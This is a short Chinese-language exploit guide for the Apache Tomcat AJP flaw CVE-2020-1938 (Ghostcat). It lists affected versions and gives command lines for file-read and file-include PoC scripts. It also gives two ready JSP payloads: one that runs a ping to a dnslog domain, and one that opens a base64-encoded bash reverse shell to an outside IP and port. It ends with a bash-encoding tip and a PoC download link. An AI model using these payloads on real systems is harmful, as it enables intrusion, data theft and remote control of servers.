0x01 漏洞影响

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

0x02 前提

  • 目标机器开启AJP Connector 服务端口(默认开启,为8009端口)

0x03 文件读取&文件包含RCE

  • 文件读取
python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 127.0.0.1
  • 文件包含
python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /test.txt 127.0.0.1
  • test.txt
<%
	java.io.InputStream in = Runtime.getRuntime().exec("ping fiohed.dnslog.cn").getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	out.print("<pre>");
	while((a=in.read(b))!=-1){
		out.println(new String(b));
	}
	out.print("</pre>");
%>

0x04 反弹shell

  • shell.txt
<%
	java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	out.print("<pre>");
	while((a=in.read(b))!=-1){
		out.println(new String(b));
	}
	out.print("</pre>");
%>
  • 反弹shell用的命令需要进行bash编码
  • 在线bash编码:http://www.jackson-t.ca/runtime-exec-payloads.html
  • POC下载地址:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read

0x05 参考链接

  • https://twitter.com/jas502n/status/1230531680999395328
  • https://forum.90sec.com/t/topic/801